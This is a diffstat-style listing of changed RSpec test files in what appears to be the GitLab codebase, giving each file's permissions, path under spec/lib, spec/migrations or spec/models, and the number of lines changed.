-rw-r--r--spec/lib/gitlab/gitaly_client/repository_service_spec.rb132
-rw-r--r--spec/lib/gitlab/gitaly_client_spec.rb8
-rw-r--r--spec/lib/gitlab/github_import/importer/pull_requests_importer_spec.rb31
-rw-r--r--spec/lib/gitlab/github_import/importer/pull_requests_reviews_importer_spec.rb118
-rw-r--r--spec/lib/gitlab/github_import/page_counter_spec.rb11
-rw-r--r--spec/lib/gitlab/global_id/deprecations_spec.rb46
-rw-r--r--spec/lib/gitlab/graphql/docs/renderer_spec.rb639
-rw-r--r--spec/lib/gitlab/health_checks/redis/trace_chunks_check_spec.rb8
-rw-r--r--spec/lib/gitlab/health_checks/unicorn_check_spec.rb67
-rw-r--r--spec/lib/gitlab/highlight_spec.rb24
-rw-r--r--spec/lib/gitlab/hook_data/issue_builder_spec.rb2
-rw-r--r--spec/lib/gitlab/hook_data/merge_request_builder_spec.rb2
-rw-r--r--spec/lib/gitlab/import_export/after_export_strategies/web_upload_strategy_spec.rb22
-rw-r--r--spec/lib/gitlab/import_export/all_models.yml28
-rw-r--r--spec/lib/gitlab/import_export/base/relation_factory_spec.rb9
-rw-r--r--spec/lib/gitlab/import_export/command_line_util_spec.rb23
-rw-r--r--spec/lib/gitlab/import_export/decompressed_archive_size_validator_spec.rb8
-rw-r--r--spec/lib/gitlab/import_export/group/tree_saver_spec.rb2
-rw-r--r--spec/lib/gitlab/import_export/import_failure_service_spec.rb2
-rw-r--r--spec/lib/gitlab/import_export/json/legacy_reader/file_spec.rb2
-rw-r--r--spec/lib/gitlab/import_export/json/legacy_reader/hash_spec.rb2
-rw-r--r--spec/lib/gitlab/import_export/json/legacy_writer_spec.rb2
-rw-r--r--spec/lib/gitlab/import_export/json/ndjson_reader_spec.rb2
-rw-r--r--spec/lib/gitlab/import_export/json/ndjson_writer_spec.rb2
-rw-r--r--spec/lib/gitlab/import_export/json/streaming_serializer_spec.rb4
-rw-r--r--spec/lib/gitlab/import_export/legacy_relation_tree_saver_spec.rb4
-rw-r--r--spec/lib/gitlab/import_export/project/export_task_spec.rb2
-rw-r--r--spec/lib/gitlab/import_export/project/import_task_spec.rb2
-rw-r--r--spec/lib/gitlab/import_export/project/sample/relation_tree_restorer_spec.rb2
-rw-r--r--spec/lib/gitlab/import_export/project/tree_restorer_spec.rb20
-rw-r--r--spec/lib/gitlab/import_export/relation_tree_restorer_spec.rb8
-rw-r--r--spec/lib/gitlab/import_export/safe_model_attributes.yml2
-rw-r--r--spec/lib/gitlab/import_export/shared_spec.rb22
-rw-r--r--spec/lib/gitlab/instrumentation/redis_base_spec.rb18
-rw-r--r--spec/lib/gitlab/instrumentation/redis_spec.rb43
-rw-r--r--spec/lib/gitlab/instrumentation_helper_spec.rb36
-rw-r--r--spec/lib/gitlab/json_spec.rb12
-rw-r--r--spec/lib/gitlab/kas/client_spec.rb84
-rw-r--r--spec/lib/gitlab/kas_spec.rb6
-rw-r--r--spec/lib/gitlab/kubernetes/helm/parsers/list_v2_spec.rb100
-rw-r--r--spec/lib/gitlab/mail_room/mail_room_spec.rb4
-rw-r--r--spec/lib/gitlab/markdown_cache/field_data_spec.rb7
-rw-r--r--spec/lib/gitlab/metrics/requests_rack_middleware_spec.rb38
-rw-r--r--spec/lib/gitlab/metrics/samplers/unicorn_sampler_spec.rb141
-rw-r--r--spec/lib/gitlab/metrics/subscribers/active_record_spec.rb136
-rw-r--r--spec/lib/gitlab/metrics/transaction_spec.rb30
-rw-r--r--spec/lib/gitlab/metrics/web_transaction_spec.rb40
-rw-r--r--spec/lib/gitlab/metrics_spec.rb20
-rw-r--r--spec/lib/gitlab/nav/top_nav_menu_item_spec.rb4
-rw-r--r--spec/lib/gitlab/pagination/gitaly_keyset_pager_spec.rb2
-rw-r--r--spec/lib/gitlab/pagination/keyset/paginator_spec.rb120
-rw-r--r--spec/lib/gitlab/pagination/keyset/request_context_spec.rb15
-rw-r--r--spec/lib/gitlab/patch/action_dispatch_journey_formatter_spec.rb33
-rw-r--r--spec/lib/gitlab/path_regex_spec.rb4
-rw-r--r--spec/lib/gitlab/profiler_spec.rb8
-rw-r--r--spec/lib/gitlab/project_search_results_spec.rb35
-rw-r--r--spec/lib/gitlab/prometheus/adapter_spec.rb24
-rw-r--r--spec/lib/gitlab/redis/cache_spec.rb22
-rw-r--r--spec/lib/gitlab/redis/queues_spec.rb22
-rw-r--r--spec/lib/gitlab/redis/shared_state_spec.rb22
-rw-r--r--spec/lib/gitlab/redis/trace_chunks_spec.rb55
-rw-r--r--spec/lib/gitlab/redis/wrapper_spec.rb42
-rw-r--r--spec/lib/gitlab/regex_spec.rb11
-rw-r--r--spec/lib/gitlab/repository_set_cache_spec.rb25
-rw-r--r--spec/lib/gitlab/runtime_spec.rb19
-rw-r--r--spec/lib/gitlab/sidekiq_cluster/cli_spec.rb165
-rw-r--r--spec/lib/gitlab/sidekiq_logging/structured_logger_spec.rb147
-rw-r--r--spec/lib/gitlab/sidekiq_middleware/duplicate_jobs/duplicate_job_spec.rb82
-rw-r--r--spec/lib/gitlab/sidekiq_middleware/instrumentation_logger_spec.rb54
-rw-r--r--spec/lib/gitlab/sidekiq_middleware/server_metrics_spec.rb105
-rw-r--r--spec/lib/gitlab/sidekiq_middleware/size_limiter/compressor_spec.rb200
-rw-r--r--spec/lib/gitlab/sidekiq_middleware/size_limiter/server_spec.rb33
-rw-r--r--spec/lib/gitlab/sidekiq_middleware/size_limiter/validator_spec.rb186
-rw-r--r--spec/lib/gitlab/sidekiq_middleware_spec.rb303
-rw-r--r--spec/lib/gitlab/template/gitlab_ci_yml_template_spec.rb49
-rw-r--r--spec/lib/gitlab/time_tracking_formatter_spec.rb6
-rw-r--r--spec/lib/gitlab/tracking/standard_context_spec.rb6
-rw-r--r--spec/lib/gitlab/usage/metric_definition_spec.rb18
-rw-r--r--spec/lib/gitlab/usage/metrics/aggregates/aggregate_spec.rb31
-rw-r--r--spec/lib/gitlab/usage/metrics/instrumentations/count_boards_metric_spec.rb5
-rw-r--r--spec/lib/gitlab/usage/metrics/instrumentations/count_issues_metric_spec.rb5
-rw-r--r--spec/lib/gitlab/usage/metrics/instrumentations/count_users_creating_issues_metric_spec.rb12
-rw-r--r--spec/lib/gitlab/usage/metrics/instrumentations/count_users_using_approve_quick_action_metric_spec.rb15
-rw-r--r--spec/lib/gitlab/usage/metrics/instrumentations/hostname_metric_spec.rb4
-rw-r--r--spec/lib/gitlab/usage/metrics/instrumentations/redis_hll_metric_spec.rb28
-rw-r--r--spec/lib/gitlab/usage/metrics/instrumentations/uuid_metric_spec.rb4
-rw-r--r--spec/lib/gitlab/usage/metrics/name_suggestion_spec.rb94
-rw-r--r--spec/lib/gitlab/usage/metrics/names_suggestions/generator_spec.rb18
-rw-r--r--spec/lib/gitlab/usage/metrics/query_spec.rb51
-rw-r--r--spec/lib/gitlab/usage_data/topology_spec.rb4
-rw-r--r--spec/lib/gitlab/usage_data_counters/merge_request_activity_unique_counter_spec.rb24
-rw-r--r--spec/lib/gitlab/usage_data_counters/package_event_counter_spec.rb2
-rw-r--r--spec/lib/gitlab/usage_data_queries_spec.rb8
-rw-r--r--spec/lib/gitlab/usage_data_spec.rb170
-rw-r--r--spec/lib/gitlab/utils/measuring_spec.rb2
-rw-r--r--spec/lib/gitlab/workhorse_spec.rb31
-rw-r--r--spec/lib/gitlab_spec.rb19
-rw-r--r--spec/lib/google_api/cloud_platform/client_spec.rb2
-rw-r--r--spec/lib/mattermost/client_spec.rb4
-rw-r--r--spec/lib/mattermost/command_spec.rb6
-rw-r--r--spec/lib/mattermost/session_spec.rb8
-rw-r--r--spec/lib/mattermost/team_spec.rb8
-rw-r--r--spec/lib/peek/views/active_record_spec.rb175
-rw-r--r--spec/lib/peek/views/memory_spec.rb53
-rw-r--r--spec/lib/prometheus/pid_provider_spec.rb60
-rw-r--r--spec/lib/security/ci_configuration/sast_build_action_spec.rb51
-rw-r--r--spec/lib/security/ci_configuration/secret_detection_build_action_spec.rb8
-rw-r--r--spec/lib/serializers/json_spec.rb2
-rw-r--r--spec/lib/sidebars/menu_spec.rb46
-rw-r--r--spec/lib/sidebars/projects/menus/confluence_menu_spec.rb2
-rw-r--r--spec/lib/sidebars/projects/menus/external_issue_tracker_menu_spec.rb2
-rw-r--r--spec/lib/sidebars/projects/menus/learn_gitlab_menu_spec.rb1
-rw-r--r--spec/lib/sidebars/projects/menus/packages_registries_menu_spec.rb3
-rw-r--r--spec/lib/sidebars/projects/menus/project_information_menu_spec.rb14
-rw-r--r--spec/lib/sidebars/projects/menus/scope_menu_spec.rb23
-rw-r--r--spec/lib/sidebars/projects/menus/security_compliance_menu_spec.rb36
-rw-r--r--spec/lib/sidebars/projects/menus/settings_menu_spec.rb3
-rw-r--r--spec/lib/sidebars/projects/panel_spec.rb2
-rw-r--r--spec/lib/system_check/app/hashed_storage_all_projects_check_spec.rb7
-rw-r--r--spec/lib/system_check/app/hashed_storage_enabled_check_spec.rb7
-rw-r--r--spec/lib/system_check/incoming_email/imap_authentication_check_spec.rb31
-rw-r--r--spec/lib/system_check/orphans/namespace_check_spec.rb4
-rw-r--r--spec/lib/system_check/orphans/repository_check_spec.rb4
-rw-r--r--spec/lib/system_check/simple_executor_spec.rb5
-rw-r--r--spec/lib/system_check_spec.rb5
-rw-r--r--spec/mailers/emails/in_product_marketing_spec.rb36
-rw-r--r--spec/mailers/emails/profile_spec.rb6
-rw-r--r--spec/mailers/emails/service_desk_spec.rb12
-rw-r--r--spec/mailers/notify_spec.rb32
-rw-r--r--spec/migrations/20190924152703_migrate_issue_trackers_data_spec.rb4
-rw-r--r--spec/migrations/20191125114345_add_admin_mode_protected_path_spec.rb2
-rw-r--r--spec/migrations/20191204114127_delete_legacy_triggers_spec.rb2
-rw-r--r--spec/migrations/20200107172020_add_timestamp_softwarelicensespolicy_spec.rb2
-rw-r--r--spec/migrations/20200122123016_backfill_project_settings_spec.rb2
-rw-r--r--spec/migrations/20200123155929_remove_invalid_jira_data_spec.rb2
-rw-r--r--spec/migrations/20200127090233_remove_invalid_issue_tracker_data_spec.rb2
-rw-r--r--spec/migrations/20200130145430_reschedule_migrate_issue_trackers_data_spec.rb14
-rw-r--r--spec/migrations/20200313203550_remove_orphaned_chat_names_spec.rb2
-rw-r--r--spec/migrations/20200406102120_backfill_deployment_clusters_from_deployments_spec.rb2
-rw-r--r--spec/migrations/20200511145545_change_variable_interpolation_format_in_common_metrics_spec.rb2
-rw-r--r--spec/migrations/20200526115436_dedup_mr_metrics_spec.rb2
-rw-r--r--spec/migrations/20200526231421_update_index_approval_rule_name_for_code_owners_rule_type_spec.rb2
-rw-r--r--spec/migrations/20200703125016_backfill_namespace_settings_spec.rb2
-rw-r--r--spec/migrations/20200706035141_adjust_unique_index_alert_management_alerts_spec.rb2
-rw-r--r--spec/migrations/20200728080250_replace_unique_index_on_cycle_analytics_stages_spec.rb2
-rw-r--r--spec/migrations/20200728182311_add_o_auth_paths_to_protected_paths_spec.rb2
-rw-r--r--spec/migrations/20200811130433_create_missing_vulnerabilities_issue_links_spec.rb2
-rw-r--r--spec/migrations/20200915044225_schedule_migration_to_hashed_storage_spec.rb2
-rw-r--r--spec/migrations/20200929052138_create_initial_versions_for_pre_versioning_terraform_states_spec.rb2
-rw-r--r--spec/migrations/20201014205300_drop_backfill_jira_tracker_deployment_type_jobs_spec.rb2
-rw-r--r--spec/migrations/20201027002551_migrate_services_to_http_integrations_spec.rb2
-rw-r--r--spec/migrations/20201028182809_backfill_jira_tracker_deployment_type2_spec.rb2
-rw-r--r--spec/migrations/20201110161542_cleanup_transfered_projects_shared_runners_spec.rb2
-rw-r--r--spec/migrations/20201112130710_schedule_remove_duplicate_vulnerabilities_findings_spec.rb2
-rw-r--r--spec/migrations/20201112130715_schedule_recalculate_uuid_on_vulnerabilities_occurrences_spec.rb2
-rw-r--r--spec/migrations/20210112143418_remove_duplicate_services2_spec.rb2
-rw-r--r--spec/migrations/20210119122354_alter_vsa_issue_first_mentioned_in_commit_value_spec.rb2
-rw-r--r--spec/migrations/20210205174154_remove_bad_dependency_proxy_manifests_spec.rb2
-rw-r--r--spec/migrations/20210210093901_backfill_updated_at_after_repository_storage_move_spec.rb2
-rw-r--r--spec/migrations/20210226141517_dedup_issue_metrics_spec.rb2
-rw-r--r--spec/migrations/20210406144743_backfill_total_tuple_count_for_batched_migrations_spec.rb2
-rw-r--r--spec/migrations/20210413132500_reschedule_artifact_expiry_backfill_again_spec.rb2
-rw-r--r--spec/migrations/20210421163509_schedule_update_jira_tracker_data_deployment_type_based_on_url_spec.rb48
-rw-r--r--spec/migrations/20210423160427_schedule_drop_invalid_vulnerabilities_spec.rb2
-rw-r--r--spec/migrations/20210430134202_copy_adoption_snapshot_namespace_spec.rb10
-rw-r--r--spec/migrations/20210430135954_copy_adoption_segments_namespace_spec.rb2
-rw-r--r--spec/migrations/20210503105845_add_project_value_stream_id_to_project_stages_spec.rb2
-rw-r--r--spec/migrations/20210511142748_schedule_drop_invalid_vulnerabilities2_spec.rb2
-rw-r--r--spec/migrations/20210514063252_schedule_cleanup_orphaned_lfs_objects_projects_spec.rb37
-rw-r--r--spec/migrations/20210601073400_fix_total_stage_in_vsa_spec.rb30
-rw-r--r--spec/migrations/20210601080039_group_protected_environments_add_index_and_constraint_spec.rb29
-rw-r--r--spec/migrations/20210603222333_remove_builds_email_service_from_services_spec.rb24
-rw-r--r--spec/migrations/add_default_and_free_plans_spec.rb2
-rw-r--r--spec/migrations/add_default_value_stream_to_groups_with_group_stages_spec.rb2
-rw-r--r--spec/migrations/add_deploy_token_type_to_deploy_tokens_spec.rb2
-rw-r--r--spec/migrations/add_incident_settings_to_all_existing_projects_spec.rb2
-rw-r--r--spec/migrations/add_new_post_eoa_plans_spec.rb2
-rw-r--r--spec/migrations/add_partial_index_to_ci_builds_table_on_user_id_name_spec.rb2
-rw-r--r--spec/migrations/add_repository_storages_weighted_to_application_settings_spec.rb2
-rw-r--r--spec/migrations/add_temporary_partial_index_on_project_id_to_services_spec.rb2
-rw-r--r--spec/migrations/add_unique_constraint_to_approvals_user_id_and_merge_request_id_spec.rb2
-rw-r--r--spec/migrations/backfill_and_add_not_null_constraint_to_released_at_column_on_releases_table_spec.rb2
-rw-r--r--spec/migrations/backfill_clusters_integration_prometheus_enabled_spec.rb80
-rw-r--r--spec/migrations/backfill_escalation_policies_for_oncall_schedules_spec.rb100
-rw-r--r--spec/migrations/backfill_imported_snippet_repositories_spec.rb2
-rw-r--r--spec/migrations/backfill_operations_feature_flags_active_spec.rb2
-rw-r--r--spec/migrations/backfill_operations_feature_flags_iid_spec.rb2
-rw-r--r--spec/migrations/backfill_releases_table_updated_at_and_add_not_null_constraints_to_timestamps_spec.rb2
-rw-r--r--spec/migrations/backfill_snippet_repositories_spec.rb2
-rw-r--r--spec/migrations/backfill_status_page_published_incidents_spec.rb2
-rw-r--r--spec/migrations/backport_enterprise_schema_spec.rb2
-rw-r--r--spec/migrations/cap_designs_filename_length_to_new_limit_spec.rb2
-rw-r--r--spec/migrations/change_outbound_local_requests_whitelist_default_spec.rb2
-rw-r--r--spec/migrations/change_packages_size_defaults_in_project_statistics_spec.rb2
-rw-r--r--spec/migrations/change_web_hook_events_default_spec.rb2
-rw-r--r--spec/migrations/clean_grafana_url_spec.rb2
-rw-r--r--spec/migrations/clean_up_noteable_id_for_notes_on_commits_spec.rb2
-rw-r--r--spec/migrations/clean_up_pending_builds_table_spec.rb47
-rw-r--r--spec/migrations/cleanup_empty_commit_user_mentions_spec.rb2
-rw-r--r--spec/migrations/cleanup_group_import_states_with_null_user_id_spec.rb4
-rw-r--r--spec/migrations/cleanup_legacy_artifact_migration_spec.rb2
-rw-r--r--spec/migrations/cleanup_move_container_registry_enabled_to_project_features_spec.rb45
-rw-r--r--spec/migrations/cleanup_optimistic_locking_nulls_pt2_fixed_spec.rb2
-rw-r--r--spec/migrations/cleanup_optimistic_locking_nulls_spec.rb2
-rw-r--r--spec/migrations/cleanup_projects_with_missing_namespace_spec.rb4
-rw-r--r--spec/migrations/complete_namespace_settings_migration_spec.rb2
-rw-r--r--spec/migrations/confirm_project_bot_users_spec.rb2
-rw-r--r--spec/migrations/create_environment_for_self_monitoring_project_spec.rb2
-rw-r--r--spec/migrations/deduplicate_epic_iids_spec.rb2
-rw-r--r--spec/migrations/delete_internal_ids_where_feature_flags_usage_spec.rb2
-rw-r--r--spec/migrations/delete_template_project_services_spec.rb2
-rw-r--r--spec/migrations/delete_template_services_duplicated_by_type_spec.rb2
-rw-r--r--spec/migrations/delete_user_callout_alerts_moved_spec.rb2
-rw-r--r--spec/migrations/disable_expiration_policies_linked_to_no_container_images_spec.rb46
-rw-r--r--spec/migrations/drop_activate_prometheus_services_background_jobs_spec.rb2
-rw-r--r--spec/migrations/drop_alerts_service_data_spec.rb2
-rw-r--r--spec/migrations/drop_background_migration_jobs_spec.rb2
-rw-r--r--spec/migrations/drop_project_ci_cd_settings_merge_trains_enabled_spec.rb2
-rw-r--r--spec/migrations/encrypt_feature_flags_clients_tokens_spec.rb2
-rw-r--r--spec/migrations/encrypt_plaintext_attributes_on_application_settings_spec.rb2
-rw-r--r--spec/migrations/enqueue_reset_merge_status_second_run_spec.rb2
-rw-r--r--spec/migrations/enqueue_reset_merge_status_spec.rb2
-rw-r--r--spec/migrations/ensure_filled_external_diff_store_on_merge_request_diffs_spec.rb2
-rw-r--r--spec/migrations/ensure_filled_file_store_on_package_files_spec.rb2
-rw-r--r--spec/migrations/ensure_namespace_settings_creation_spec.rb2
-rw-r--r--spec/migrations/ensure_target_project_id_is_filled_spec.rb2
-rw-r--r--spec/migrations/ensure_u2f_registrations_migrated_spec.rb2
-rw-r--r--spec/migrations/fill_file_store_ci_job_artifacts_spec.rb2
-rw-r--r--spec/migrations/fill_file_store_lfs_objects_spec.rb2
-rw-r--r--spec/migrations/fill_productivity_analytics_start_date_spec.rb2
-rw-r--r--spec/migrations/fill_store_uploads_spec.rb2
-rw-r--r--spec/migrations/fix_max_pages_size_spec.rb2
-rw-r--r--spec/migrations/fix_null_type_labels_spec.rb2
-rw-r--r--spec/migrations/fix_pool_repository_source_project_id_spec.rb2
-rw-r--r--spec/migrations/fix_projects_without_project_feature_spec.rb2
-rw-r--r--spec/migrations/fix_projects_without_prometheus_services_spec.rb2
-rw-r--r--spec/migrations/fix_wrong_pages_access_level_spec.rb2
-rw-r--r--spec/migrations/generate_ci_jwt_signing_key_spec.rb2
-rw-r--r--spec/migrations/generate_lets_encrypt_private_key_spec.rb2
-rw-r--r--spec/migrations/generate_missing_routes_for_bots_spec.rb2
-rw-r--r--spec/migrations/insert_ci_daily_pipeline_schedule_triggers_plan_limits_spec.rb73
-rw-r--r--spec/migrations/insert_daily_invites_plan_limits_spec.rb2
-rw-r--r--spec/migrations/insert_project_feature_flags_plan_limits_spec.rb6
-rw-r--r--spec/migrations/insert_project_hooks_plan_limits_spec.rb2
-rw-r--r--spec/migrations/migrate_all_merge_request_user_mentions_to_db_spec.rb2
-rw-r--r--spec/migrations/migrate_auto_dev_ops_domain_to_cluster_domain_spec.rb2
-rw-r--r--spec/migrations/migrate_bot_type_to_user_type_spec.rb2
-rw-r--r--spec/migrations/migrate_code_owner_approval_status_to_protected_branches_in_batches_spec.rb2
-rw-r--r--spec/migrations/migrate_commit_notes_mentions_to_db_spec.rb2
-rw-r--r--spec/migrations/migrate_compliance_framework_enum_to_database_framework_record_spec.rb2
-rw-r--r--spec/migrations/migrate_create_commit_signature_worker_sidekiq_queue_spec.rb2
-rw-r--r--spec/migrations/migrate_delayed_project_removal_from_namespaces_to_namespace_settings_spec.rb2
-rw-r--r--spec/migrations/migrate_discussion_id_on_promoted_epics_spec.rb2
-rw-r--r--spec/migrations/migrate_elastic_index_settings_spec.rb2
-rw-r--r--spec/migrations/migrate_incident_issues_to_incident_type_spec.rb2
-rw-r--r--spec/migrations/migrate_k8s_service_integration_spec.rb2
-rw-r--r--spec/migrations/migrate_legacy_managed_clusters_to_unmanaged_spec.rb2
-rw-r--r--spec/migrations/migrate_managed_clusters_with_no_token_to_unmanaged_spec.rb2
-rw-r--r--spec/migrations/migrate_merge_request_mentions_to_db_spec.rb2
-rw-r--r--spec/migrations/migrate_ops_feature_flags_scopes_target_user_ids_spec.rb2
-rw-r--r--spec/migrations/migrate_protected_attribute_to_pending_builds_spec.rb33
-rw-r--r--spec/migrations/migrate_storage_migrator_sidekiq_queue_spec.rb2
-rw-r--r--spec/migrations/migrate_store_security_reports_sidekiq_queue_spec.rb2
-rw-r--r--spec/migrations/migrate_sync_security_reports_to_report_approval_rules_sidekiq_queue_spec.rb2
-rw-r--r--spec/migrations/move_container_registry_enabled_to_project_features3_spec.rb2
-rw-r--r--spec/migrations/move_limits_from_plans_spec.rb2
-rw-r--r--spec/migrations/nullify_users_role_spec.rb2
-rw-r--r--spec/migrations/populate_project_statistics_packages_size_spec.rb2
-rw-r--r--spec/migrations/populate_rule_type_on_approval_merge_request_rules_spec.rb2
-rw-r--r--spec/migrations/remove_additional_application_settings_rows_spec.rb2
-rw-r--r--spec/migrations/remove_alerts_service_records_again_spec.rb2
-rw-r--r--spec/migrations/remove_alerts_service_records_spec.rb2
-rw-r--r--spec/migrations/remove_deprecated_jenkins_service_records_spec.rb5
-rw-r--r--spec/migrations/remove_duplicate_labels_from_groups_spec.rb2
-rw-r--r--spec/migrations/remove_duplicate_labels_from_project_spec.rb2
-rw-r--r--spec/migrations/remove_empty_github_service_templates_spec.rb2
-rw-r--r--spec/migrations/remove_gitlab_issue_tracker_service_records_spec.rb2
-rw-r--r--spec/migrations/remove_hipchat_service_records_spec.rb2
-rw-r--r--spec/migrations/remove_orphan_service_hooks_spec.rb2
-rw-r--r--spec/migrations/remove_orphaned_invited_members_spec.rb2
-rw-r--r--spec/migrations/remove_packages_deprecated_dependencies_spec.rb2
-rw-r--r--spec/migrations/remove_records_without_group_from_webhooks_table_spec.rb2
-rw-r--r--spec/migrations/remove_security_dashboard_feature_flag_spec.rb2
-rw-r--r--spec/migrations/rename_security_dashboard_feature_flag_to_instance_security_dashboard_spec.rb2
-rw-r--r--spec/migrations/rename_sitemap_namespace_spec.rb2
-rw-r--r--spec/migrations/rename_sitemap_root_namespaces_spec.rb2
-rw-r--r--spec/migrations/reschedule_artifact_expiry_backfill_spec.rb2
-rw-r--r--spec/migrations/reseed_merge_trains_enabled_spec.rb2
-rw-r--r--spec/migrations/reseed_repository_storages_weighted_spec.rb2
-rw-r--r--spec/migrations/retry_backfill_traversal_ids_spec.rb93
-rw-r--r--spec/migrations/save_instance_administrators_group_id_spec.rb2
-rw-r--r--spec/migrations/schedule_backfill_push_rules_id_in_projects_spec.rb2
-rw-r--r--spec/migrations/schedule_blocked_by_links_replacement_second_try_spec.rb2
-rw-r--r--spec/migrations/schedule_calculate_wiki_sizes_spec.rb60
-rw-r--r--spec/migrations/schedule_disable_expiration_policies_linked_to_no_container_images_spec.rb47
-rw-r--r--spec/migrations/schedule_fill_valid_time_for_pages_domain_certificates_spec.rb2
-rw-r--r--spec/migrations/schedule_link_lfs_objects_projects_spec.rb2
-rw-r--r--spec/migrations/schedule_merge_request_cleanup_schedules_backfill_spec.rb2
-rw-r--r--spec/migrations/schedule_migrate_pages_to_zip_storage_spec.rb2
-rw-r--r--spec/migrations/schedule_migrate_security_scans_spec.rb2
-rw-r--r--spec/migrations/schedule_migrate_u2f_webauthn_spec.rb2
-rw-r--r--spec/migrations/schedule_pages_metadata_migration_spec.rb2
-rw-r--r--spec/migrations/schedule_populate_issue_email_participants_spec.rb2
-rw-r--r--spec/migrations/schedule_populate_merge_request_assignees_table_spec.rb2
-rw-r--r--spec/migrations/schedule_populate_personal_snippet_statistics_spec.rb2
-rw-r--r--spec/migrations/schedule_populate_project_snippet_statistics_spec.rb2
-rw-r--r--spec/migrations/schedule_populate_user_highest_roles_table_spec.rb2
-rw-r--r--spec/migrations/schedule_recalculate_project_authorizations_second_run_spec.rb2
-rw-r--r--spec/migrations/schedule_recalculate_project_authorizations_spec.rb2
-rw-r--r--spec/migrations/schedule_recalculate_project_authorizations_third_run_spec.rb2
-rw-r--r--spec/migrations/schedule_recalculate_uuid_on_vulnerabilities_occurrences2_spec.rb127
-rw-r--r--spec/migrations/schedule_sync_issuables_state_id_spec.rb2
-rw-r--r--spec/migrations/schedule_sync_issuables_state_id_where_nil_spec.rb2
-rw-r--r--spec/migrations/schedule_update_existing_subgroup_to_match_visibility_level_of_parent_spec.rb2
-rw-r--r--spec/migrations/schedule_update_existing_users_that_require_two_factor_auth_spec.rb2
-rw-r--r--spec/migrations/schedule_update_timelogs_project_id_spec.rb2
-rw-r--r--spec/migrations/schedule_update_users_where_two_factor_auth_required_from_group_spec.rb2
-rw-r--r--spec/migrations/seed_merge_trains_enabled_spec.rb2
-rw-r--r--spec/migrations/seed_repository_storages_weighted_spec.rb2
-rw-r--r--spec/migrations/services_remove_temporary_index_on_project_id_spec.rb2
-rw-r--r--spec/migrations/set_issue_id_for_all_versions_spec.rb2
-rw-r--r--spec/migrations/set_job_waiter_ttl_spec.rb2
-rw-r--r--spec/migrations/sync_issuables_state_id_spec.rb2
-rw-r--r--spec/migrations/truncate_user_fullname_spec.rb2
-rw-r--r--spec/migrations/unconfirm_wrongfully_verified_emails_spec.rb2
-rw-r--r--spec/migrations/update_application_setting_npm_package_requests_forwarding_default_spec.rb2
-rw-r--r--spec/migrations/update_fingerprint_sha256_within_keys_spec.rb2
-rw-r--r--spec/migrations/update_historical_data_recorded_at_spec.rb2
-rw-r--r--spec/migrations/update_internal_ids_last_value_for_epics_renamed_spec.rb2
-rw-r--r--spec/migrations/update_minimum_password_length_spec.rb2
-rw-r--r--spec/migrations/update_routes_for_lost_and_found_group_and_orphaned_projects_spec.rb2
-rw-r--r--spec/migrations/update_timestamp_softwarelicensespolicy_spec.rb2
-rw-r--r--spec/models/application_record_spec.rb42
-rw-r--r--spec/models/application_setting_spec.rb28
-rw-r--r--spec/models/bulk_imports/export_status_spec.rb77
-rw-r--r--spec/models/bulk_imports/export_upload_spec.rb2
-rw-r--r--spec/models/bulk_imports/file_transfer/group_config_spec.rb18
-rw-r--r--spec/models/bulk_imports/file_transfer/project_config_spec.rb18
-rw-r--r--spec/models/ci/build_dependencies_spec.rb9
-rw-r--r--spec/models/ci/build_spec.rb383
-rw-r--r--spec/models/ci/build_trace_chunk_spec.rb116
-rw-r--r--spec/models/ci/build_trace_chunks/database_spec.rb6
-rw-r--r--spec/models/ci/build_trace_chunks/redis_spec.rb6
-rw-r--r--spec/models/ci/job_artifact_spec.rb26
-rw-r--r--spec/models/ci/job_token/project_scope_link_spec.rb68
-rw-r--r--spec/models/ci/job_token/scope_spec.rb65
-rw-r--r--spec/models/ci/pending_build_spec.rb33
-rw-r--r--spec/models/ci/pipeline_schedule_spec.rb77
-rw-r--r--spec/models/ci/pipeline_spec.rb126
-rw-r--r--spec/models/ci/runner_spec.rb177
-rw-r--r--spec/models/ci/running_build_spec.rb55
-rw-r--r--spec/models/clusters/applications/fluentd_spec.rb84
-rw-r--r--spec/models/clusters/applications/ingress_spec.rb90
-rw-r--r--spec/models/clusters/cluster_spec.rb96
-rw-r--r--spec/models/clusters/clusters_hierarchy_spec.rb8
-rw-r--r--spec/models/commit_spec.rb101
-rw-r--r--spec/models/commit_status_spec.rb26
-rw-r--r--spec/models/concerns/awardable_spec.rb4
-rw-r--r--spec/models/concerns/bulk_insert_safe_spec.rb31
-rw-r--r--spec/models/concerns/deployment_platform_spec.rb32
-rw-r--r--spec/models/concerns/has_timelogs_report_spec.rb55
-rw-r--r--spec/models/concerns/has_user_type_spec.rb2
-rw-r--r--spec/models/concerns/integrations/has_data_fields_spec.rb156
-rw-r--r--spec/models/concerns/issuable_spec.rb12
-rw-r--r--spec/models/concerns/limitable_spec.rb25
-rw-r--r--spec/models/concerns/token_authenticatable_strategies/encryption_helper_spec.rb94
-rw-r--r--spec/models/container_repository_spec.rb55
-rw-r--r--spec/models/cycle_analytics/project_level_stage_adapter_spec.rb2
-rw-r--r--spec/models/deploy_token_spec.rb76
-rw-r--r--spec/models/deployment_metrics_spec.rb6
-rw-r--r--spec/models/diff_discussion_spec.rb6
-rw-r--r--spec/models/diff_note_spec.rb8
-rw-r--r--spec/models/email_spec.rb2
-rw-r--r--spec/models/environment_spec.rb67
-rw-r--r--spec/models/environment_status_spec.rb11
-rw-r--r--spec/models/experiment_spec.rb66
-rw-r--r--spec/models/experiment_subject_spec.rb30
-rw-r--r--spec/models/group_spec.rb298
-rw-r--r--spec/models/hooks/project_hook_spec.rb11
-rw-r--r--spec/models/hooks/service_hook_spec.rb10
-rw-r--r--spec/models/hooks/system_hook_spec.rb10
-rw-r--r--spec/models/hooks/web_hook_log_archived_spec.rb52
-rw-r--r--spec/models/hooks/web_hook_spec.rb49
-rw-r--r--spec/models/import_export_upload_spec.rb99
-rw-r--r--spec/models/integration_spec.rb31
-rw-r--r--spec/models/integrations/assembla_spec.rb6
-rw-r--r--spec/models/integrations/bamboo_spec.rb42
-rw-r--r--spec/models/integrations/base_chat_notification_spec.rb296
-rw-r--r--spec/models/integrations/base_issue_tracker_spec.rb34
-rw-r--r--spec/models/integrations/bugzilla_spec.rb35
-rw-r--r--spec/models/integrations/buildkite_spec.rb151
-rw-r--r--spec/models/integrations/campfire_spec.rb8
-rw-r--r--spec/models/integrations/chat_message/wiki_page_message_spec.rb46
-rw-r--r--spec/models/integrations/confluence_spec.rb6
-rw-r--r--spec/models/integrations/custom_issue_tracker_spec.rb35
-rw-r--r--spec/models/integrations/discord_spec.rb82
-rw-r--r--spec/models/integrations/drone_ci_spec.rb148
-rw-r--r--spec/models/integrations/ewm_spec.rb61
